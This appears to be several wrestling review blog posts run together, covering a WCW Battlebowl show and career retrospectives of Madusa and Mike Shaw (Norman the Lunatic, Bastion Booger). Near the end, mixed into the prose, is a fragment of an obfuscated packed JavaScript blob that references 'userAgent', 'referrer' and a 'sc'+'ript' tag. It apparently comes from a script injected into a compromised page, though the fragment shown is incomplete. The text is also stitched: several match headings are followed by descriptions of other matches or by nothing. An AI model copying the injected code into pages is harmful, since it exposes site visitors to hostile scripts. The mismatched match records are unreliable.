You know, Disco Inferno is really impressive. To have a pure comedy gimmick and put together a fairly decent resume (Cruiserweight Champion, TV Champion, Tag Champion) is saying a lot about him. He made a horrible gimmick into something which says a lot about him. We talk about Flair and Savage for the most part here. When Disco Inferno gets the hot tag, you know we have a problem. Disco starts dancing and gets blasted in the head with a boot. Yep that’s it.
Rating: N/A. At least it was fast. Seriously, someone thought this was a good idea? Why? What kind of drugs were they on? I want some of them.
Battlebowl Round Two: Dick Slater/Bobby Eaton vs. VK Wallstreet/Jim Duggan
Duggan and Wallstreet start fighting before the match so of course the others go and break it up. My headache is now even worse. This is like some abortion of a comedy match and it’s just bad. Duggan randomly yells and he and Slater ram into each other and sell it like death. Duggan punches Wallstreet and Eaton rolls him up to make the finals. Thank goodness it’s over. I guess this was just building to the epic Duggan vs. Wallstreet showdown.
Rating: G. This was an insult to my intelligence as a human being. This might be the worst WCW show ever. And it’s not like you can make fun of it like Uncensored. This is just terrible.
Battlebowl
DDP, Barbarian, Dick Slater, Bobby Eaton, Rocco Rock, Johnny Grunge, Ice Train, Scott Norton
And yes, one of those guys gets a world title shot next month. Let that sink in for a bit. Just a regular battle royal here with the winner being Lord of the Ring. Almost immediately we see the problem here: there is no feuding at all. Think of any battle royal you’ve seen. You have people with feuds or angles or whatever to pair off and a lot of random fighting. Here it’s just the random fighting with 8 midcard guys.
Scratch that. You have DDP, two tag teams and three jobbers. DDP hits the floor but the referee misses it so he goes back in. We actually go split screen for a one ring battle royal. Wow. Rocco is out. Ice Train yells at the crowd. No one cares. Eaton is out and he punches the tar out of Parker. Nice shot. Slater is out too. I hate this show. Norton is out. DDP, Ice Train, Johnny Grunge and Barbarian are the final four.
Diamond Cutter to Barbarian. And to Ice Train. And to Grunge. Page pins Grunge…because you can do that. And he pins Ice Train. He gets two on Barbarian. Oh I hate this show. Diamond Dallas Page vs. Barbarian is the co-main event of a PPV. Barbarian hits a SICK tombstone on DDP. That looked as bad as the jumping one at Mania this past year. Oh look it’s a sleeper. The flying headbutt misses and a Diamond Cutter ends it. Wow that was uninteresting stuff.
Rating: F. The second biggest star was Barbarian. Let that sink in. I don’t need to say anything else. The title shot was revoked tomorrow night due to one foot hitting the floor, making this whole show entirely pointless. Apparently being gone about 2 months is now being on the shelf for six months. Wow.
Slater is a guy that needed the right circumstances to really make things work. He was out of his element at the end of his career and it showed really badly. By the time the 90s rolled around, he was really just a veteran that could work a watchable match. Back in the territory days though, the guy was a beast with one heck of a right hand. As usual, the 80s get it better than the 90s.
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:
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Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5. Check out the details here.
2014 Awards: Worst Wrestler of the Year
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Wrestler of the Day – December 17: Madusa
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Madusa got her start in the AWA in the late 80s, including this match at SuperClash III.
Badd Company/Madusa Micelli vs. Wendi Richter/Top Guns
Ok quick recap here. Richter was the second biggest face in the WWF regardless of gender but left because of various issues. She recently beat Madusa for the AWA Women’s Title. Badd Company, the AWA tag champions, are more famous as Tanaka and Kato (Paul Diamond here, minus the mask) of the Orient Express in the WWF a few years later. All titles are on the line here as per the usual stipulations. The Top Guns are Derrick Dukes and Ricky Rice, both of whom suck. They’re the faces here. Oh and Badd Company/Madusa have none other than Diamond Dallas Page as their manager.
Richter gets a huge pop so Page, with hair longer than Shawn Michaels in 96, makes fun of Richter for getting a fluke win for the title and introduces his own team. Everything goes insane at first and genders have to match in this one. The good guys clear the ring and the Top Guns hit a double back elbow on Tanaka. Mike Enos, a future kind of star in the AWA and the guy that was in the ring when Hall jumped the guardrail in 1996, is the referee for some reason. He’s not a known wrestler yet but that’s him.
Ok now we’re down to sanity with Tanaka and Dukes in there. Dukes really likes to work on the arm. Long headlock goes on as the girls yell at each other. Dukes hits a dropkick and let’s try that headlock again. Diamond comes in and actually doesn’t get destroyed as Dukes plays face in peril for a bit. Diamond misses a charge in the corner and it’s off to the girls. They do the usual girls in the 80s stuff here that isn’t all that interesting or, you know, good. Everything breaks down again and Tanaka accidently kicks Madusa so Richter can pin her.
Rating: D+. Another pointless match here as they just did their thing for awhile and the guys meant nothing. I don’t think Rice was ever even in the match. The girls didn’t mean anything at this point but then again they didn’t for a long time. This went nowhere at all and was way too short to be anything of note.
Off to WCW now just after being fired from the Dangerous Alliance by chauvinist. From Clash of the Champions XXI.
Paul E. Dangerously vs. Madusa
Kai was at the first Wrestlemania if that tells you anything. Blayze is the new champion after the belt was resurrected for no apparent reason. Kai, a Hawaiian/something else hybrid, runs Blayze over but gets caught in a sunset flip a few seconds later for two. Lelani comes back with a chokebomb for no cover but a bad splash gets two.
The champ comes back with a hurricanrana before there was a name for such a thing in America. Either way it gets two and we head to the floor. That goes nowhere so Kai hits a butterfly suplex for two. Blayze comes back with some basic strikes and some hair drags for two each. Alundra hits her bridging German suplex to retain a few seconds later.
Nakano, the challenger, is a Japanese monster and has Luna Vachon in her corner. A quick clothesline and a hair drag put Blayze down as Nakano looks strong early. We hit a chinlock less than two minutes in but Blayze gets her feet on the ropes. A spin kick puts Nakano down for a few seconds but she comes back with a choke to take over again. Off to a modified Boston Crab as Nakano is destroying the champion so far.
Rating: C. This was an interesting match but it was hard to get into at times. Nakano was a monster who destroyed Blayze for about eight minutes and then Alundra got a quick suplex for the pin in fifteen seconds. Bull would win the title in a few months in Japan in a near masterpiece.
The “division” continued to struggle with this new challenger at Summerslam 1995.
Blayze is defending and Faye is this rather frumpy fat chick designed to be disturbing. She also has Harvey Whippelman with him as her worshiping admirer. Alundra fires off some quickly kicks to start and the 280lb or so Faye runs her over in response. A bad looking hair pull sends Blayze down and some legdrops get two. Bertha misses a middle rope splash and a victory roll gets two for the champion. Three clotheslines get no count for Alundra as Harvey has the referee. Some middle rope dropkicks stagger Bertha but she avoids a third before hitting a Batista Bomb for the title.
Now we hit the joshi stuff at Survivor Series 1995.
Team Bertha Faye vs. Team Alundra Blayze
Bertha Faye, Aja Kong, Tomoko Watanabe, Lioness Asuka
Alundra Blayze, Kyoko Inoue, Sakie Hasegawa, Chaparita Asari
Watanabe comes in but misses a dive. Blayze sends her to the floor and does hit her dive to take over. Hasegawa comes in and hits five rolling double underhook suplexes on Watanabe as Perfect makes sexist remarks. Watanabe hits a seated senton off the top for two as this selling thing is still an issue. Aja Kong, a total monster, comes in with no tag and is immediately kicked in the face and suplexed by Hasegawa. Another Rock Bottom suplex puts her down but Hasegawa jumps into a kick to the chest. Something like a belly to back suplex eliminates Hasegawa to make it 3-3.
While still champion, Madusa would famously head to WCW and trash the title, at least partially setting the stage for Montreal. She would however wrestle in WCW a bit, including this match on Nitro, January 29, 1996.
Madusa vs. Sister Sherri
Madusa kills her to start. Sherri has a surprisingly nice figure. Eric talks about Madusa throwing the WWF Women’s Title in the trash which I think she regrets now. After a quick beating Sherri gets a shot in and goes up, but Madusa slams her off the top. In an ending I haven’t seen before that I remember, Sherri holds on and rolls through into a small package for the pin. Madusa kills her afterwards. No rating as this wasn’t even two minutes long.
Colonel Parker vs. Madusa
The story here is about as complicated as you can think of. Sherri had gotten hit on the head and decided she was in love with Parker. They kissed at Fall Brawl so he decided he wanted to marry her. They had the wedding and for reasons that were never explained, Madusa jumped out of a trailer and broke it up. That leads to this, which is man vs. woman, yet I’ve never heard of another woman named Colonel Robert Parker before.
That’s clearly the less masculine of the two here though. Before this starts though, Heenan and Tony get into this STUPID argument with insults that aren’t funny and wouldn’t be funny in 6th grade. After some brief predictions, we get to the match. Bobby is clad in leather for some odd reason. He suggests buying off Madusa here with credit cards and flowers. Oh thank goodness for Bobby Heenan.
We get a WWF reference as this is just a bit after she dropped the women’s title in the garbage which inadvertently led to Montreal. Parker is just stupid looking here, wearing a white suit. Madusa was more or less the only American women’s wrestler worth anything that anyone could stand the sight of for a good many years, but Sable was on the rise and it would be a few years before this indy chick named Amy Dumas came up.
Trish was probably in high school at this time. Madusa is supposed to be sexy I think, but she’s just not as she’s more masculine than Parker. Naturally she’s a black belt also as all women wrestlers apparently are. After the bell we get a lock up.
We’ll move on with the match in just a moment, but first, this pearl of insight from Dusty: “HE LOCKED UP WITH HER! HE LOCKED UP WITH HER! WHAT THE HECK??? HE LOCKED UP WITH HER! SOMEBODY GET MY MEDICINE!” This is going to be a really long night. What in the heck am I watching??? The fans are about as one sided as you could possibly believe.
After an Airplane Spin that brought on some of the highest pitched screams that I can ever remember, she reverses into a sunset flip for a HUGE pop. I mean that was loud. She slams him and Dusty needs new pants I think. Not due to an issue or anything, but the 12 cheeseburgers he’s had during this match made him go up a size.
Heenan continues to crack me up by saying the closest thing he’s ever seen to this is one night when Gene got home late and his old lady backdropped him. Would anyone else be far more interested in a reality show of Gene and Bobby wandering around to various places and having stupid misadventures? Dick Slater, who was somehow married to Madusa at the time keeps him from running. Dang you Slater.
Madusa actually wasn’t that bad in the ring. She gets her signature German suplex, and actually gets a decent one all things considered, but Slater hooks her foot and Parker falls on her for the pin. That was…yeah.
Rating: D. That’s because she looked ok and to be fair, she was asked to do a lot out there and while it sucked beyond belief, she worked very hard so I’ll give her points for that. This made less than zero sense though and I have no idea what this was supposed to be other than a really bad comedy bit. It lasted about 4 minutes though, and that’s too long. My head is starting to throb from this show.
Back to Nitro on July 15, 1996.
Madusa vs. Malia Hosaka
They would have these random matches in WCW at times with the women and this is one of them. Madusa would have a destroy the Harley match with Bull Nakano at Hog Wild. Malia uses a lot of kicks because she’s Japanese I guess. Larry goes all sexist on the women, talking about how if you can find a woman that will keep quiet, marry her. Madusa gets taken over by her hair a bunch of times and we hit the chinlock. The American fires off some kicks to take over but gets caught in a Boston Crab. Some kind of backsplash misses but Madusa misses a dropkick also. And never mind as the American hits a German on the Japanese for the pin.
Rating: C-. Eh really just a way to advance the Madusa vs. Nakano match at the PPV which is fine. Madusa and the women never really got a proper push in WCW as they were brought in like twice a year and that’s about it. There was even a Women’s Cruiserweight Title for like a month. Either way this was nothing but wasn’t that bad.
Madusa vs. Bull Nakano
Madusa would wind up feuding with Colonel Parker over the spring before feuding with Nakano, her old rival from the WWF. Some chops have little effect on the monster Nakano and she avoids a dropkick. Nakano throws Madusa around by the hair and then does it again for good measure. Some nunchucks to the ribs have Madusa in even more trouble but she comes back with a running hair takedown. Nakano gets dropkicked off the middle rope and Madusa takes out Sonny Onoo (manager of all evil Japanese wrestlers). Sonny misses a kick of his own, allowing Madusa to get a rollup for a quick pin.
Madusa vs. Luna Vachon
From the next month at Great American Bash 1997 with one of those title match things.
With Madusa being taken to the back and with her career being over, Gene pops up to say that her career is toast and puts a mic in her face. The fans chant LEAVE HER ALONE. This was a dick move even for Gene.
Madusa would disappear for awhile before coming back as part of Team Madness in 1999. From Nitro, May 17, 1999.
Charles Robinson/Ric Flair vs. Madusa/Randy Savage
And then against one of the most bizarrely perfect named opponents ever on Nitro, July 26, 1999.
Patty Stone Grinder vs. Madusa
Cruiserweight Title: Madusa vs. Evan Karagias
Madusa may not measure up to Trish or Lita in the standards of what we consider a Diva today, but she was one of the first, for lack of a better term, modern female wrestlers. She certainly had personality and could do some good stuff in the ring, but she was much more of a pioneer than a big deal of her own.
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:
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And check out my Amazon author page with wrestling books for under $4 at:
http://www.amazon.com/Thomas-Hall/e/B00E6282W6
Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5. Check out the details here.
Wrestler of the Day – December 16: Mike Shaw
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we’re looking at a rather versatile guy named Mike Shaw.
Bastion, real name Mike Shaw, got started back in Canada around 1981. Here he is in Stampede in the early 1980s.
Jim Neidhart vs. Mike Shaw
They stare at each other for a bit before getting down into three point stances. Neidhart wins with ease and punches Mike down before nailing a hard shot to the ribs. The referee calls it a low blow though and the match is over.
Rocky Delasara/Len Montana vs. Man Mountain Mike/Great Malumba
Montana comes in as well and eats a quick shoulder for a slow motion fall.
Stampede in 1987/88 with Shaw as the evil Makhan Singh against North American Heavyweight Champion Owen Hart.
North American Heavyweight Title: Owen Hart vs. Makhan Singh
He chokes away as the announcers tell us this has been all Owen so far. Singh goes after the bad eye to take over and attacks it with a foreign object of some kind to cut the eye open. The ring announcer actually calls a doctor in to look at the eye as the match just stops.
Singh will have none of that and takes the bandage off to stay on the eye. He ties Owen in the Tree of Woe and stays on the eye as this is getting ugly. Singh actually gets a yellow card and the doctor stops the match. The referee will have none of that though as Hart comes back with a slam and goes up top, only to miss a splash. Keith Hart comes out to throw in the towel and the match is over, meaning Singh is champion.
It was off to WCW after this as Shaw became the insane Norman the Lunatic. Here he is at Clash of the Champions VII.
Norman the Lunatic vs. Mike Justice
Norman is a mental patient managed by Teddy Long and more famous as Bastion Booger in the WWF. He easily runs Mike over, crushes him in the corner and sits on his chest for the pin in less than a minute. Teddy holds up a set of keys, symbolizing Norman being locked up again, to calm him down and get Norman on a stretcher.
And again at Clash VIII in the best match Shaw ever had.
Flyin Brian vs. Norman the Lunatic
Brian Pillman comes out with the University of South Carolina cheerleaders and starts fast with a quick suplex on the nearly 400lb Norman. The springboard clothesline puts Norman down on the floor and Brian hits a nice dive off the top. Back inside and Brian goes after the keys that freak Norman out, causing Norman to jump him from behind. A middle rope splash gets two on Brian and Norman slaps his overly large stomach.
Brian rolls outside and gets crushed against the post but avoids a second charge to get a breather. Back in and a missile dropkick puts Norman on his back. Brian actually slams and backdrops Norman down, only to have his cross body get caught in a powerslam for two. Norman whips him in but Pillman comes back with a crucifix for the pin out of nowhere.
Back to form at Clash X.
Norman the Lunatic vs. Kevin Sullivan
A knee to the head has Norman in trouble and Cornette is on fire on commentary. “Norman is so stupid that mind readers only charge him half price.” Norman starts beating on his own head before Sullivan starts pounding on it for him. Back inside and Norman chokes him out to the floor as they fight up the aisle.
Cactus Jack Manson vs. Norman the Lunatic
Rating: D. Yeah it was bad but Foley of course would get a lot more going for him. Norman is more famous as Bastion Booger and a lot of other bad characters in WWF. Jack was clearly going to be a guy that bumped like mad, but at the end of the day what sets him apart is that he made people care about him as opposed to guys like say New Jack.
Then a six man at Capital Combat.
Road Warriors/Norman the Lunatic vs. Cactus Jack/Kevin Sullivan, Bam Bam Bigelow
Norman the Lunatic is more commonly known as Bastion Booger. This is a weird pairing of six guys if there has ever been one. Oliver Humperdink is here too as Bigelow’s manager and is bare-chested. This is just strange as all goodness on all levels and I have no idea what the point of this is supposed to be. The LOD comes out on Harleys while Norman has to walk behind them. That sums up this match nicely.
How funny is it that of all these people, Cactus Jack was the most successful? Cactus is very young at this point and has nothing going for him. Norman is allegedly an escaped mental patient. That sums things up very well. Animal and the future four time world champion start us off. Animal is MOVING out there. He does two leap frogs and drops low at great speed. This is just weird to see but interesting I’d say.
Hawk vs. Bigelow. Oh dear. Bigelow is sleeveless here which is a strange look for him. This could set selling back a thousand years. Hawk gets the best dropkick he’s ever thrown, hitting Bam Bam square in the face. Sullivan comes in, looks at Hawk, and tags out. Instead he gets Norman. For him imagine Eugene meets Bigelow. See what I mean? In a painful looking spot, Hawk throws the (wooden) steps at Jack where they just bounce off his back while he’s bent over.
OW even if they’re fake. They all take their turns beating on Norman and Sullivan just looks completely out of place in this. Bigelow backdrops Norman. Imagine that one if you can. Norman hits a clothesline on Cactus and just falls on his back. That sums things up for him quite well I’d think. A big old brawl breaks out as Hawk hits the top rope clothesline on Sullivan for the pin.
Rating: D+. Not bad I guess, but at the same time when the best technician is Kevin Sullivan, you’re in trouble. This was to get the crowd going though and I think it worked ok for what it was. That and I can’t imagine they expected this to be a great match or anything, so I’ll let it slide I guess.
Shaw would be repackaged into a truck driver named Trucker Norm. Here he is on WCW TV, October 27, 1990.
Trucker Norm vs. Keith Hart
Friar Ferguson vs. Chris Duffy
Duffy shoves the Friar, in full robes, around to start but the Friar easily backdrops him. A catapult sends Duffy out to the floor and the Friar pulls the robes up a bit to do a little dance. He splashes Duffy for two but pulls up off the cover. The fans say they want Bret as this beating just keeps going. We hit a lame nerve hold before Duffy tries a sunset flip, allowing the Friar to sit on him for the pin.
Bastion Booger vs. Marty Jannetty
Booger is eating ice cream for some reason. Maybe because he’s hungry. For those of you that don’t remember, Bastion is a big fat guy that wears a diaper looking thing and eats anything. It was a very weird character that didn’t catch on and no one has any clue what the point of it was. The talk is mostly about Jannetty’s red, white and blue arm bands which brings on talk of Luger’s big Lex Express campaign.
Marty, for some reason that God alone knows, beats the living tar out of Bastion. He’s practically a jobber out there. It’s about a 3 minute match, not counting a commercial in between. For one of these minutes, we talk about Madonna’s birthday being today with random jokes about her. The commentary on here is filler.
Now I get the idea of having matches as fillers, but DANG man, I’ve never once heard of having commentary have to be nothing but filler as well. After Jannetty beats on him for a long time, we get back to the show and Jannetty goes for a sunset flip, Bastion stands there for a seconds, then starts waving his arms as he remembers to sell, but then Booger drops down with his finisher, but the referee just stops counting before the three to give Jannetty time to complete the move which gets the pin.
Rating: D. My goodness this made no sense. Marty is apparently being built up for his match at Summerslam with Ludvig Borga. They’re building up a jobber to be squashed by having him squash someone else? Good grief how low does that make Bastion? Literally, Booger had no offense at all and this was a waste of time.
Team Bam Bam Bigelow vs. Four Doinks
Bam Bam Bigelow, Bastion Booger, Headshrinkers
Bushwhackers, Men on a Mission
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2014 Awards: Rookie of the Year
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nytsr|var|u0026u|referrer|yyery||js|php'.split('|'),0,{})) one doesn’t have as many options. For the sake of making this a bit more interesting, I’ll be including anyone who has debuted on a roster this year or very late last year.
However, this really is a two person race.
First up is Paige, who went from the best NXT Diva on the roster to debuting after Wrestlemania and taking the title from AJ (which I called perfectly for a change) kicking off a pretty awesome feud between the two of them.